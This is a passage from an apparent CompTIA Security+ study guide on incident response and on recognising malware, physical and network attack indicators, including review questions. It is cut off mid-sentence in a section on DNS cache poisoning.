alerting, scanning, reporting, and alert response and remediation/
validation (including quarantine and alert tuning). Following the
CompTIA Security+ exam objectives, which additional activity should you
cover?

5. You are supporting a SIEM deployment at a customer’s location. The

customer wants to know whether flow records can be ingested. What
type of monitoring tool generates flow records?

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Lesson 12
Summary
6

You should be able to explain the process and procedures involved in effective
incident response and digital forensics, including the data sources and event
management tools necessary for investigations, alerting, and monitoring.

Guidelines for Performing Incident Response

and Monitoring
Follow these guidelines for developing or improving incident response policies and
procedures:
• Identify goals for implementing structured incident response, following the
preparation, detection, analysis, containment, eradication, recovery, and
lessons learned processes.

• Prepare for effective incident response by creating a CIRT/CERT/CSIRT with

suitable policies and communications plus incident handling tools.

• Develop an incident classification system and prepare IRPs and playbooks for
distinct incident scenarios.

• Use tabletop exercises and simulations to test incident response plans.

• Configure SIEM to aggregate appropriate data sources and develop correlation

rules display alerts, status indicators, and trend analysis via dashboards:

• Host log file data sources (network, system, security, vulnerability scan
output).

• Application log file data sources (DNS, web, VoIP).

• Network packet and intrusion detection data.

• Network traffic and protocol flow statistics.

• Integrate incident response containment, eradication, and recovery processes

with procedures for quarantining, forensic evidence collection, root cause
analysis, benchmark/SCAP-based vulnerability scanning, and threat hunting.

• Identify standard strategies for containment via isolation and segmentation.

• Develop or adopt a consistent process for incident responders to acquire and

preserve forensic and e-discovery data:

• Consider the order of volatility and potential loss of evidence if a host is shut
down or powered off.

• Record evidence collection using video and interview witnesses to gather

statements.

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• Deploy forensic tools that can capture and validate evidence from persistent
and nonpersistent media.

• Document storage and handling of evidence using a chain of custody.

• Identify available data sources to support investigations:

• Log events and metadata from firewalls, applications, endpoint antivirus and
DLP, OS-specific security events, IDS/IPS, network appliances, SNMP, and
vulnerability scans.

• Output from packet captures and NetFlow traffic monitoring.

• Consider deploying SIEM to aggregate and correlate data sources to drive event
alerting and monitoring dashboards and automated reports. Use alert tuning to
reduce false positives, without increasing false negatives.

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 Lesson 13
Analyze Indicators of Malicious
1

Activity
LESSON INTRODUCTION
The preparation phase of incident response identifies data sources that can support
investigations. It also provisions tools to aggregate and correlate this data and
partially automate its analysis to drive an alerting and monitoring system. While
automated detection is a huge support for the security team, it cannot identify
all indicators of malicious activity. As an incident responder, you must be able to
identify signs in data sources that point to a particular type of attack.

Lesson Objectives
In this lesson, you will do the following:
• Analyze indicators of malicious activity in malware, physical, network, and
application attacks.

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Topic 13A
Malware Attack Indicators
2

EXAM OBJECTIVES COVERED

2.4 Given a scenario, analyze indicators of malicious activity.

By classifying the various types of malware and identifying the signs of infection,
security teams are better prepared to remediate compromised systems or prevent
malware from executing in the first place.

Malware Classification
Many of the intrusion attempts perpetrated against computer networks depend on
the use of malicious software, or malware. Malware is simply defined as software
that does something bad, from the perspective of the system owner. A complicating
factor with malware classification is the degree to which its installation is expected
or tolerated by the user.
Some malware classifications, such as Trojan, virus, and worm, focus on the vector
used by the malware. The vector is the method by which the malware executes on a
computer and potentially spreads to other network hosts. The following categories
describe some types of malware according to vector:
• Viruses and worms represent some of the first types of malware and spread
without any authorization from the user by being concealed within the
executable code of another process. These processes are described as being
infected with malware.

• Trojan refers to malware concealed within an installer package for software that
appears to be legitimate. This type of malware does not seek any type of consent
for installation and is actively designed to operate secretly.

• Potentially unwanted programs (PUPs)/Potentially unwanted applications

(PUAs) are software installed alongside a package selected by the user or
perhaps bundled with a new computer system. Unlike a Trojan, the presence
of a PUP is not automatically regarded as malicious. It may have been installed
without active consent or with consent from a purposefully confusing license
agreement. This type of software is sometimes described as grayware rather
than malware. It can also be referred to as bloatware.

Malware classification by vector.

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Other classifications are based on the payload delivered by the malware. The
payload is an action performed by the malware other than simply replicating or
persisting on a host. Examples of payload classifications include spyware, rootkit,
remote access Trojan (RAT), and ransomware.

Computer Viruses
A computer virus is a type of malware designed to replicate and spread from
computer to computer, usually by “infecting” executable applications or program
code. There are several different types of viruses, and they are generally classified
by the different types of file or media that they infect:
• Non-resident/file infector—the virus is contained within a host executable file
and runs with the host process. The virus will try to infect other process images
on persistent storage and perform other payload actions. It then passes control
back to the host program.

• Memory resident—when the host file is executed, the virus creates a new
process for itself in memory. The malicious process remains in memory, even if
the host process is terminated.

• Boot—the virus code is written to the disk boot sector or the partition table of a
fixed disk or USB media and executes as a memory-resident process when the
OS starts or the media is attached to the computer.

• Script and macro viruses—the malware uses the programming features

available in local scripting engines for the OS and/or browser, such as
PowerShell, Windows Management Instrumentation (WMI), JavaScript, Microsoft
Office documents with Visual Basic for Applications (VBA) code enabled, or PDF
documents with JavaScript enabled.

In addition, the term “multipartite” is used for viruses that use multiple vectors and
the term “polymorphic” is used for viruses that can dynamically change or obfuscate
their code to evade detection.
What these types of viruses have in common is that they must infect a host file or media.
An infected file can be distributed through any normal means—on a disk, on a network,
as an attachment to an email or social media post, or as a download from a website.

Unsafe attachment detected by Outlook’s mail filter—The “double” file extension is an

unsophisticated attempt to fool any user not already alerted by the use of both English
and German in the message text. (Screenshot used with permission from Microsoft.)

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Computer Worms and Fileless Malware

A computer worm is memory-resident malware that can run without user
intervention and replicate over network resources. A virus is executed only
when the user performs an action such as downloading and running an infected
executable process, attaching an infected USB stick, or opening an infected
document with macros or scripting enabled. By contrast, a worm can execute by
exploiting a vulnerability in a process when the user browses a website, runs a
vulnerable server application, or is connected to an infected file share. For example,
the Code Red worm was able to infect early versions of Microsoft’s IIS web server
software via a buffer overflow vulnerability. It then scanned randomly generated IP
ranges to try to infect other vulnerable IIS servers.
The primary effect of the first types of computer worm is to rapidly consume
network bandwidth as the worm replicates. A worm may also be able to crash an
operating system or server application, performing a denial of service attack. Also,
like viruses, worms can carry a payload that can be written to perform any type of
malicious action.
The Conficker worm illustrated the potential for remote code execution and
memory-resident malware to effect highly potent attacks. As malware has
continued to be developed for criminal intent and security software became better
able to detect and block static threats, malware code and techniques have become
more sophisticated. The term “fileless” has gained prominence to refer to these
modern types of malware. Fileless is not a definitive classification, but it describes a
collection of common behaviors and techniques:
• Fileless malware does not write its code to disk. The malware uses memory-
resident techniques to run in its own process, within a host process or dynamic
link library (DLL), or within a scripting host. This does not mean that there is no
disk activity at all, however. The malware may change registry values to achieve
persistence (executing if the host computer is restarted). The initial execution
of the malware may also depend on the user running a downloaded script, file
attachment, or Trojan software package.

• Fileless malware uses lightweight shellcode to achieve a backdoor mechanism

on the host. The shellcode is easy to recompile in an obfuscated form to evade
detection by scanners. It is then able to download additional packages or
payloads to achieve the threat actor’s objectives. These packages can also be
obfuscated, streamed, and compiled on the fly to evade automated detection.

• Fileless malware may use “live off the land” techniques rather than compiled
executables to evade detection. This means that the malware code uses
legitimate system scripting tools, notably PowerShell and Windows Management
Instrumentation (WMI), to execute payload actions. If they can be executed with
sufficient permissions, these environments provide all the tools the attacker
needs to perform scanning, reconfigure settings, and exfiltrate data.

The terms “advanced persistent threat (APT)” and “advanced volatile threat
(AVT)” can be used to describe this general class of modern fileless/live off the land
malware. Another useful classification is low-observable characteristics (LOC) attack.
The exact classification is less important than the realization that adversaries can
use any variety of coding tricks to effect intrusions and that their tactics, techniques,
and procedures to evade detection are continually evolving.

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Spyware and Keyloggers

The first viruses and worms focused on the destructive potential of being able to
replicate. As the profitable uses of this software became apparent, however, they
started to be coded with payloads designed to facilitate intrusion, fraud, and data
theft. Bloatware and malware can be used for different levels of monitoring:
• Tracking cookies—a cookie is a plaintext file, not malware, but if permitted
by browser settings, third-party cookies can be used to record web activity,
track the user’s IP address, and harvest various other metadata, such as search
queries and information about the browser software and configuration. Tracking
cookies are created by adverts and analytics widgets embedded into many
websites.

• Supercookies and beacons—as browser software gives the user some control
over what cookies to accept, web marketing companies have come up with
alternative ways to implement tracking that are difficult to disable. A supercookie
is a means of storing tracking data in a non-regular way, such as saving it to
cache without declaring the data to be a cookie or encoding data into header
requests. A beacon is a single pixel image embedded into a website. While
invisible to the user, the browser must make a request to download the pixel
to load the site, giving the beacon host the opportunity to collect metadata,
perform browser fingerprinting, and potentially run tracking scripts.

• Adware—this is a class of PUP/bloatware that performs browser

reconfigurations, such as allowing tracking cookies, changing default search
providers, opening sponsor’s pages at startup, adding bookmarks, and so on.
Adware may be installed as a program or as a browser extension/plug-in.

• Spyware—this is malware that can perform adware-like tracking, but also

monitor local application activity, take screenshots, and activate recording
devices, such as a microphone or webcam. Another spyware technique is to
perform DNS redirection to pharming sites.

• Keylogger—this is spyware that actively attempts to steal confidential

information by recording keystrokes. The attacker will usually hope to discover
passwords or credit card data.

Using the Metasploit Meterpreter remote access tool to dump keystrokes from the victim machine,
revealing the password used to access a web app.

Keyloggers are not only implemented as software. A malicious script can transmit key
presses to a third-party website. There are also hardware devices to capture key presses
to a modified USB adapter inserted between the keyboard and the port. Such devices
can store data locally or come with Wi-Fi connectivity to send data to a covert access
point. Other attacks include wireless sniffers to record key press data, overlay ATM pin
pads, and so on.

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Backdoors and Remote Access Trojans

Any type of access method to a host that circumvents the usual authentication
method and gives the remote user administrative control can be referred to as a
backdoor. A remote access Trojan (RAT) is backdoor malware that mimics the
functionality of legitimate remote control programs, but is designed specifically to
operate covertly. Once the RAT is installed, it allows the threat actor to access the
host, upload files, and install software or use “live off the land” techniques to effect
further compromises.

In this context, RAT can also stand for remote administration tool. A host that is under
malicious control is sometimes described as a zombie.

A compromised host can be installed with one or more bots. A bot is an automated
script or tool that performs some malicious activity. A group of bots that are all
under the control of the same malware instance can be manipulated as a botnet
by the herder program. A botnet can be used for many types of malicious purpose,
including triggering distributed denial of service (DDoS) attacks, launching spam
campaigns, or performing cryptomining.

SubSeven RAT. (Screenshot used with permission from Wikimedia Commons

by CCAS4.0 International.)

Whether a backdoor is used as a standalone intrusion mechanism or to manage

bots, the threat actor must establish a connection from the compromised host to
a command and control (C2 or C&C) host or network. This network connection
is usually the best way to identify the presence of a RAT, backdoor, or bot. There
are many means of implementing a C&C network as a covert channel to evade
detection and filtering. Historically, the Internet Relay Chat (IRC) protocol was
popular. Modern methods are more likely to use command sequences embedded
in HTTPS or DNS traffic.

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Backdoors can be created in other ways than by infection by malware. Programmers

may create backdoors in software applications for testing and development that are
subsequently not removed when the application is deployed. Backdoors are also created
by misconfiguration of software or hardware that allows access to unauthorized users.

Rootkits
In Windows, Trojan malware that depends on manual execution by the logged-on
user inherits the privileges of that user account. If the account has only standard
permissions, the malware will only be able to add, change, or delete files in the
user’s profile and to run only apps and commands that the user is permitted to.
If the malware attempts to change system-wide files or settings, it requires local
administrator-level privileges. To obtain those through manual installation or
execution, the user must be confident enough in the Trojan package to confirm the
User Account Control (UAC) prompt or enter the credentials for an administrative
user.
If the malware gains local administrator-level privileges, there are still protections
in Windows to mitigate abuse of these permissions. Critical processes run with
a higher level of privilege called SYSTEM. Consequently, Trojans installed or
executed with local administrator privileges cannot conceal their presence entirely
and will show up as a running process or service. Often the process image name
is configured to resemble a genuine executable or library to avoid detection.
For example, a Trojan may use the filename “rund1132.exe” to masquerade as
“rundll32.exe.” To ensure persistence (running when the computer is restarted),
the Trojan may have to use a registry entry or create itself as a service, which can
usually be detected easily.
If the malware can be delivered as the payload for an exploit of a severe
vulnerability, it may be able to execute without requiring any authorization using
SYSTEM privileges. Alternatively, the malware may be able to use an exploit to
escalate privileges to SYSTEM level after installation. Malware running with this level
of privilege is referred to as a rootkit. The term derives from UNIX/Linux where
any process running as the root superuser account has unrestricted access to
everything from the root of the file system down.
In theory, there is nothing about the system that a rootkit could not change. In
practice, Windows uses other mechanisms to prevent misuse of kernel processes,
such as code signing. Consequently, what a rootkit can do depends largely on
adversary capability and level of effort. When dealing with a rootkit, you should
be aware that there is the possibility that it can compromise system files and
programming interfaces, so that local shell processes, such as Explorer, taskmgr, or
tasklist on Windows or ps or top on Linux, plus port scanning tools, such as netstat,
no longer reveal its presence (at least, if run from the infected machine). A rootkit
may also contain tools for cleaning system logs, further concealing its presence.

Software processes can run in one of several "rings." Ring 0 is the most privileged (it
provides direct access to hardware) and so should be reserved for kernel processes only.
Ring 3 is where user-mode processes run; drivers and I/O processes may run in Ring 1 or
Ring 2. This architecture can also be complicated by the use of virtualization.

There are also examples of rootkits that can reside in firmware (either the computer
firmware or the firmware of any sort of adapter card, hard drive, removable
drive, or peripheral device). These can survive any attempt to remove the rootkit
by formatting the drive and reinstalling the OS. For example, the US intelligence
agencies have developed DarkMatter and Quark Matter UEFI rootkits targeting the
firmware on Apple Macbook laptops.

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Ransomware, Crypto-Malware, and Logic Bombs

Ransomware is a type of malware that tries to extort money from the victim
by making the victim’s computer and/or data files unavailable and demanding
payment. One class of ransomware will display threatening messages, such as
requiring Windows to be reactivated or suggesting that the computer has been
locked by the police because it was used to view child pornography or for terrorism.
This may apparently block access to the file system by installing a different shell
program, but this sort of attack is usually relatively simple to fix.
Ransomware uses payment methods, such as wire transfer, cryptocurrency, or
premium rate phone lines, to allow the attacker to extort money without revealing
their identity or being traced by local law enforcement.

WannaCry ransomware. (Image by Wikimedia Commons.)

Scareware refers to malware that displays alarming messages, often disguised to look
like genuine OS alert boxes. Scareware attempts to alarm the user by suggesting that
the computer is infected or has been hijacked.

Crypto-Ransomware
The crypto class of ransomware attempts to encrypt data files on any fixed,
removable, and network drives. If the attack is successful, the user will be unable to
access the files without obtaining the private encryption key, which is held by the
attacker. If successful, this sort of attack is extremely difficult to mitigate, unless
the user has backups of the encrypted files. One example of crypto-ransomware
is CryptoLocker, a Trojan that searches for files to encrypt and then prompts the
victim to pay a sum of money before a certain countdown time, after which the
malware destroys the key that allows the decryption.

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Cryptojacking Malware
Another type of crypto-malware hijacks the resources of the host to perform
cryptocurrency mining. This is referred to as crypto-mining, and malware that
performs crypto-mining maliciously is classed as cryptojacking. The total number
of coins within a cryptocurrency is limited by the difficulty of performing the
calculations necessary to mint a new digital coin. Consequently, new coins can
be very valuable, but it takes enormous computing resources to discover them.
Cryptojacking is often performed across botnets.

Logic Bombs
Some types of malware do not trigger automatically. Having infected a system,
they wait for a preconfigured time or date (time bomb) or a system or user event
(logic bomb). Logic bombs also need not be malware code. A typical example is a
disgruntled systems administrator who leaves a scripted trap that runs in the event
their account is deleted or disabled. Antivirus software is unlikely to detect this kind
of malicious script or program. This type of trap is also referred to as a mine.

TTPs and IoCs

Antivirus (A-V) scanners work on the basis of recognizing known malware code.
The malware code is stored as a signature in the antivirus scanner’s database. The
database of signatures must be continually updated. When a file is accessed, the
A-V intercepts the call and scans the file. If it matches any of its signatures, it blocks
access to the file and alerts the user, and logs the event.
This type of signature-based detection is still important for detecting commodity
malware attacks, but it is no longer wholly effective. Malicious activity can often
only be detected by monitoring for a wider range of indicators. Knowledge of
these indicators is formed by studying threat actor behaviors. The outcome of this
analysis is described as a tactic, technique, or procedure (TTP):
• Tactic—high level description of a threat behavior. Behaviors such as
reconnaissance, persistence, and privilege escalation are examples of tactics.

• Technique—intermediate-level description of how a threat actor progresses a

tactic. For example, reconnaissance might be accomplished via techniques such
as active network scanning, vulnerability scanning, and email harvesting.

• Procedure—detailed description of how a technique is performed. For example,

a particular threat actor might use a particular tool in a distinctive way to
perform vulnerability scanning.

As an example of TTP analysis, consider the scenario where a criminal gang seeks to
blackmail companies by infecting hosts with ransomware. This is the threat actor’s
goal. To achieve the goal, they deploy a campaign, comprising a number of tactics,
such as reconnaissance, resource development, initial access, and execution.
Within the initial access tactic, the gang might have developed a novel technique to
exploit a vulnerability in some network monitoring software used by a wide range
of companies. Analysis of procedures reveals exactly how the exploited software
is installed on company networks through an infected repository. This enables the
gang’s next tactic (execution of malware).
An indicator of compromise (IoC) is a residual sign that an asset or network has
been successfully attacked or is continuing to be attacked. Put another way, an IoC
is evidence of a TTP. In the scenario above, IoCs could include the presence of the
compromised network monitor process version, connections to the C&C network,

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disabled system recovery/backup features, registry entries and script remnants to

execute the ransomware, files made inaccessible through encryption with different
file extensions, and blackmail demand notices.
As there are many different targets and vectors of an attack, there are also
thousands of potential IoCs. Many TTPs and IoCs are well known. They are
documented and published by threat researchers. One of the best-known examples
is the MITRE ATT&CK database (attack.mitre.org). Modern scanning tools are
usually integrated with threat feeds of published TTPs and indicators. This allows
for automated scanning of malicious behaviors, rather than just signature-based
malware detection.
An IoC can be definite and objectively identifiable, like a malware signature, but
often IoCs can only be described with confidence via the correlation of many data
points. Because these IoCs are often identified through patterns of anomalous
activity rather than single events, they can be open to interpretation and therefore
slow to diagnose. Consequently, threat intelligence platforms use artificial
intelligence (AI) systems to perform automated analysis. These systems underpin
the detection and response features of modern threat protection suites.

Strictly speaking, an IoC is evidence of an attack that was successful. The term "indicator
of attack (IoA)" is sometimes also used for evidence of an intrusion attempt in progress.

Malicious Activity Indicators

Given the range of malware types, there are many potential indicators of malicious
activity. Some types of malware display obvious changes, such as adjusting browser
settings or displaying ransom notices. If malware is designed to operate covertly,
indicators can require detailed analysis of process, file system, and network
behavior.

Sandbox Execution
If malicious activity is not detected by endpoint protection, analyze the suspect
code or host in a sandboxed environment. A sandbox is a system configured to
be completely isolated from the production network so that the malware cannot
“break out.” The sandbox will be designed to record file system and registry
changes plus network activity. Similarly, a sheep dip is an isolated host used to test
new software and removable media for malware indicators before it is authorized
on the production network.

Resource Consumption
Abnormal resource consumption can be detected using a performance monitor.
Indicators such as excessive and continuous CPU usage, memory leaks, disk read/
write activity, disk space usage, and network bandwidth consumption can be signs
of malware. Resource consumption could be a reason to investigate a system rather
than definitive proof of malicious activity. These symptoms can also be caused by
many other performance and system stability issues. Also, it is only poorly written
malware or malware that performs intensive operations that displays this behavior.
For example, it is the nature of botnet DDoS, cryptojacking, and crypto-ransomware
to hijack the computer’s resources.

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Windows Performance Monitor recording CPU utilization on a client PC. Anomalous activity
is difficult to diagnose, but this graph shows load rarely dropping below 50%. Continual load
is not typical of a client system, and could be an indicator of cryptojacking malware.
(Screenshot used with permission from Microsoft.)

File System
Malicious code might not execute from a process image saved on a local disk, but
it is still likely to interact with the file system and registry, revealing its presence by
behavior. A computer’s file system stores a great deal of useful metadata about
when files were created, accessed, or modified. Analyzing these metadata and
checking for suspicious temporary files can help to establish a timeline of events for
an incident that has left traces on a host and its files.
Attempts to access valuable data can be revealed by blocked content indicators.
Where files are simply protected by ACLs, if auditing is configured, an access denied
message will be logged if a user account attempts to read or modify a file it does
not have permission to access. Information might also be protected by a data loss
prevention (DLP) system, which will also log blocked content events.

Resource Inaccessibility
Resource inaccessibility means that a network, host, file, or database is not
available. This is typically an indicator of a denial of service (DoS) attack. Host and
network gateways might be unavailable due to excessive resource consumption.
A network attack will often create large numbers of connections. Data resources
might be subject to ransomware attack. Additionally, malware might disable
scanning and monitoring utilities to evade detection.

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Account Compromise
A threat actor will often try to exploit an existing account to achieve objectives. The
following indicators can reveal suspicious account behavior:
• Account lockout—the system has prevented access to the account because
too many failed authentication attempts have been made. Lockout could also
mean that the user’s password no longer works because the threat actor has
changed it.

• Concurrent session usage—this indicates that the threat actor has obtained
the account credentials and is signed in on another workstation or over a remote
access connection.

• Impossible travel—this indicates that the threat actor is attempting to use

remote access to sign in to an account from a geographic location that they
would not have physically been able to move to in the time since their last
sign in.

Logging
A threat actor will often try to cover their tracks by removing indicators from log
files:
• Missing logs—this could mean that the log file has been deleted. As this is easy
to detect, a more sophisticated threat actor will remove log entries. This might
be indicated by unusual gaps between log entry times. The most sophisticated
type of attack will spoof log entries to conceal the malicious activity.

• Out-of-cycle logging—a threat actor might also manipulate the system time or
change log entry timestamps as a means of hiding activity.

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Review Activity:
Malware Attack Indicators
3

Answer the following questions:

1. You are troubleshooting a user’s workstation. At the computer, an

app window displays on the screen claiming that all of your files are
encrypted. The app window demands that you make an anonymous
payment if you ever want to recover your data. What type of malware
has infected the computer?

2. You are recommending different antivirus products to the CEO of a small

2.

travel services firm. The CEO is confused because they had heard that
Trojans represent the biggest threat to computer security these days.
What explanation can you give?

3. You are writing a security awareness blog for company CEOs subscribed
3.

to your threat platform. Why are backdoors and Trojans different ways
of classifying and identifying malware risks?

4. You are investigating a business email compromise (BEC) incident. The

4.

email account of a developer has been accessed remotely over webmail.

Investigating the developer’s workstation finds no indication of a
malicious process, but you do locate an unknown USB extension device
attached to one of the rear ports. Is this the most likely attack vector,
and what type of malware would it implement?

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5. A user’s computer is performing extremely slowly. Upon investigating,

you find that a process named n0tepad.exe is utilizing the CPU at rates of
80%–90%. This is accompanied by continual small disk reads and writes
to a temporary folder. Should you suspect malware infection, and is any
particular class of malware indicated?

6. Which attack framework provides descriptions of specific TTPs?

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Topic 13B
Physical and Network Attack Indicators
7

EXAM OBJECTIVES COVERED

2.4 Given a scenario, analyze indicators of malicious activity.

Company sites and offices and their networks present a wide attack surface
for threat actors to target. Understanding how denial of service, on-path, and
credential-based attacks are perpetrated and being able to diagnose their
indicators from appropriate data sources will help you to prevent and remediate
intrusion events.

Physical Attacks
A physical attack is one directed against cabling infrastructure, hardware devices,
or the environment of the site facilities hosting the network.

Brute Force
A brute force physical attack can take several different forms, some examples of
which are the following:
• Smashing a hardware device to perform physical denial of service (DoS).

• Breaking into premises or cabinets by forcing a lock or gateway. This is likely to

be an indicator of theft or tampering.

Preventing theft is often impossible to guarantee, so knowing that something has

been stolen is important for things like data breach reporting and revoking access
permissions. A system that is tamper-evident will display visible signs of forced entry
or use that are difficult for a threat actor to disguise.

Environmental
An environmental attack could be an attempt to perform denial of service. For
example, a threat actor could try to destroy power lines, cut through network
cables, or disrupt cooling systems. Alternatively, environmental and building
maintenance systems are known vectors for threat actors to try to gain access to
company networks.
The risk from physical attacks means that premises must be monitored for signs of
physical damage or the addition of rogue devices.

RFID Cloning
Radio Frequency ID (RFID) is a means of encoding information into passive tags.
When a reader is within range of the tag, it produces an electromagnetic wave
that powers up the tag and allows the reader to collect information from it. This
technology can be used to implement contactless building access control systems.

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RFID cloning and skimming refer to ways of counterfeiting contactless building

access cards or badges:
• Cloning—this refers to making one or more copies of an existing card. A lost or
stolen card with no cryptographic protections can be physically duplicated. Card
loss should be reported immediately so that it can be revoked and a new one
issued. If there were a successful attack, it might be indicated by use of a card in
a suspicious location or time of day.

• Skimming—this refers to using a counterfeit reader to capture card or badge

details, which are then used to program a duplicate. Some types of proximity
card can quite easily be made to transmit the credential to a portable RFID
reader that a threat actor could conceal on their person.

These attacks can generally only target “dumb” access cards that transfer static
tokens rather than perform cryptoprocessing. If use of the cards is logged,
compromise might be indicated by impossible travel and concurrent use access
patterns.

Near-field communication (NFC) is derived from RFID and is also often used for
contactless cards. It works only at very close range and allows two-way communications
between NFC peers.

Network Attacks
A network attack is a general category for a number of strategies and techniques
that threat actors use to either disrupt or gain access to systems via a network
vector. Network attack analysis is usually informed by considering the place each
attack type might have within an overall cyberattack lifecycle:
• Reconnaissance is where a threat actor uses scanning tools to learn about
the network. Host discovery identifies which IP addresses are in use. Service
discovery identifies which TCP or UDP ports are open on a given host.
Fingerprinting identifies the application types and versions of the software
operating each port, and potentially of the operating system running on the
host, and its device type. Rapid scanning generates a large amount of distinctive
network traffic that can be detected and reported as an intrusion event, but it
is very difficult to differentiate malicious scanning activity from non-malicious
scanning activity.

• Credential harvesting is a type of reconnaissance where the threat actor

attempts to learn passwords or cryptographic secrets that will allow them to
obtain authenticated access to network systems.

• Denial of service (DoS) in a network context refers to attacks that cause hosts
and services to become unavailable. This type of attack can be detected by
monitoring tools that report when a host or service is not responding, or is
suffering from abnormally high volumes of requests. A DoS attack might be
launched as an end in itself, or to facilitate the success of other types of attacks.

• Weaponization, delivery, and breach refer to techniques that allow a threat actor
to get access without having to authenticate. This typically involves various types
of malicious code being directed at a vulnerable application host or service over
the network, or sending code concealed in file attachments, and tricking a user
into running it.

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• Command and control (C2 or C&C), beaconing, and persistence refer

to techniques and malicious code that allow a threat actor to operate a
compromised host remotely, and maintain access to it over a period of
time. The threat actor has to disguise the incoming command and outgoing
beaconing activity as part of the network’s regular traffic, such as by using
encrypted HTTPS connections. Detection of this type of activity usually depends
on identifying anomalous connection endpoints, such as connections to IP
addresses in countries that do not respect copyright or privacy laws. There can
also be indicators on the compromised host, such as the malware itself and
unauthorized startup items.

• Lateral movement, pivoting, and privilege escalation refer to techniques that

allow the threat actor to move from host to host within a network or from one
network segment to another, and to obtain wider and higher permissions for
systems and services across the network. These types of attacks are detected
via anomalous account logins and privilege use, but detection usually depends
on machine learning-backed software, as it is typically difficult to differentiate
anomalous behavior from normal behavior.

• Data exfiltration refers to obtaining an information asset and copying it to

the attacker’s remote machine. Anomalous large data transfers might be an
indicator for exfiltration, but a threat actor could perform the attack stealthily,
by only moving small amounts of data at any one time.

Note that stages in the lifecycle are iterative. For example, a threat actor might perform
external reconnaissance and credential harvesting or breach to obtain an initial
foothold. They might then perform reconnaissance and credential harvesting from the
foothold to perform lateral movement and privilege escalation on internal hosts.

Distributed Denial of Service Attacks

A denial of service (DoS) attack is anything that reduces the availability of a
resource. DoS attacks can target physical hardware and infrastructure. A malware-
based DoS attack might destroy a file system or engineer excessive CPU, memory,
storage, or network bandwidth consumption.
A DoS attack can also exploit protocol or configuration weaknesses at different
network layers. DoS attacks against network hosts and gateways are typically of a
type called distributed DoS (DDoS). DDoS means that the attack is launched from
multiple hosts simultaneously. Typically, a threat actor will compromise machines
to use as handlers in a command and control network. The handlers are used to
compromise thousands or millions of hosts with DDoS bot tools, forming a botnet.
Some types of DDoS attacks simply aim to consume network bandwidth, denying
it to legitimate hosts, by using overwhelming numbers of bots making ordinary
requests. Others cause resource exhaustion on the victim host by bombarding
them with requests, which consume CPU cycles and memory. This delays
processing of legitimate traffic and could potentially crash the host system
completely. For example, a SYN flood attack works by withholding the client’s ACK
packet during TCP’s three-way handshake. A server, router, or firewall can maintain
a queue of pending connections, recorded in its state table. When it does not
receive an ACK packet from the client, it resends the SYN/ACK packet a set number
of times before timing out the connection. The problem is that a server may only be
able to manage a limited number of pending connections, which the DDoS attack
quickly fills up. This means that the server is unable to respond to genuine traffic.

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Reflected Attacks
Assembling and managing a botnet large enough to overwhelm a network that has
effective DDoS mitigation measures can be a costly endeavor. This has prompted
threat actors to devise DDoS techniques that increase the effectiveness of each
attack. In a distributed reflected DoS (DRDoS) attack, the threat actor spoofs
the victim’s IP address and attempts to open connections with multiple third-party
servers. Those servers direct their SYN/ACK responses to the victim host. This
rapidly consumes the victim’s available bandwidth.

An asymmetric threat is one where the threat actor is able to perpetrate effective attacks
despite having fewer resources than the victim.

Amplified Attacks
An amplification attack is a type of reflected attack that targets weaknesses in
specific application protocols to make the attack more effective at consuming
target bandwidth. Amplification attacks exploit protocols that allow the attacker to
manipulate the request in such a way that the target is forced to respond with a
large amount of data. Protocols commonly targeted include domain name system
(DNS), Network Time Protocol (NTP), and Connectionless Lightweight Directory
Access Protocol (CLDAP). Another example of a particularly effective attack exploits
the memcached database caching system used by web servers.

DDoS Indicators
DDoS attacks can be diagnosed by traffic spikes that have no legitimate explanation,
but they can usually only be mitigated by providing high availability services, such
as load balancing and cluster services. In some cases, a stateful firewall can detect
a DDoS attack and automatically block the source. However, for many of the
techniques used in DDoS attacks, the source addresses will be randomly spoofed or
launched by bots, making it difficult to stop the attack at the source.

Dropping traffic from blocklisted IP ranges using Security Onion IDS. (Screenshot used
with permission from Security Onion.)

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On-Path Attacks
An on-path attack is where the threat actor gains a position between two hosts,
and transparently captures, monitors, and relays all communication between them.
Because the threat actor relays the intercepted communications, the hosts might
not be able to detect the presence of the threat actor. An on-path attack could also
be used to covertly modify the traffic. For example, an on-path host could present
a workstation with a spoofed website form to try to capture the user credential.
This attack is also referred to as a on-path attack or as an adversary-in-the-middle
(AitM) attack.
On-path attacks can be launched at any network layer. One infamous example
attacks the way layer 2 forwarding works on local segments. The Address
Resolution Protocol (ARP) identifies the MAC address of a host on the local
segment that owns an IPv4 address. An ARP poisoning attack uses a packet crafter,
such as Ettercap, to broadcast unsolicited ARP reply packets. Because ARP has no
security mechanism, the receiving devices trust this communication and update
their MAC:IP address cache table with the spoofed address.

Packet capture opened in Wireshark showing ARP poisoning. (Screenshot used with permission
from wireshark.org.)

This screenshot shows packets captured during a typical ARP poisoning attack:
• In frames 6–8, the attacking machine (with MAC address ending :4a) directs
gratuitous ARP replies at other hosts (:76 and :77), claiming to have the IP
addresses .2 and .102. This pattern of gratuitous ARP traffic is an indicator
of the attack.

• In frame 9, the .101/:77 host tries to send a packet to the .2 host, but it is
received by the attacking host (with the destination MAC :4a).

• In frame 10, the attacking host retransmits frame 9 to the actual .2 host.
Wireshark colors the frame black and red to highlight the retransmission.

• In frames 11 and 12, you can see the reply from .2, received by the attacking host
in frame 11 and retransmitted to the legitimate host in frame 12.

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The usual target will be the subnet’s default gateway (the router that accesses other
networks). If the ARP poisoning attack is successful, all traffic destined for remote
networks will be received by the attacker, implementing an on-path attack.

Domain Name System Attacks

The domain name system (DNS) resolves requests for named host and services to
IP addresses. Name resolution is a critical addressing method on the Internet and
on private networks. There are many potential attacks against DNS. On the public
Internet, attacks might use typosquatting techniques to cause victims to confuse
malicious sites with legitimate ones. DNS can be exploited in a DRDoS attack. Threat
actors can also directly target public DNS services as a means of performing DoS
against a website or cloud resource. Finally, a threat actor might be able to hijack a
public DNS server and insert spoofed records, directing victims to rogue websites.
On a private network, a DNS attack is likely to mean some sort of DNS poisoning.
DNS poisoning compromises the process by which clients query name servers
to locate the IP address for a domain name. There are several ways that a DNS
poisoning attack can be perpetrated.

DNS-Based On-Path Attacks

If the threat actor has access to the same local network as the victim, the attacker
can use ARP poisoning to respond to DNS queries from the victim with spoofed
replies. This might be combined with a denial of service attack on the victim’s
legitimate DNS server. A rogue DHCP could be used to configure clients with the
address of a DNS resolver controlled by the threat actor.

DNS Client Cache Poisoning

Before DNS was developed in the 1980s, name resolution took place using a
text file named HOSTS. Each name:IP address mapping was recorded in this
file, and systems administrators had to download the latest copy and install it
on each Internet client or server manually. Even though most name resolution
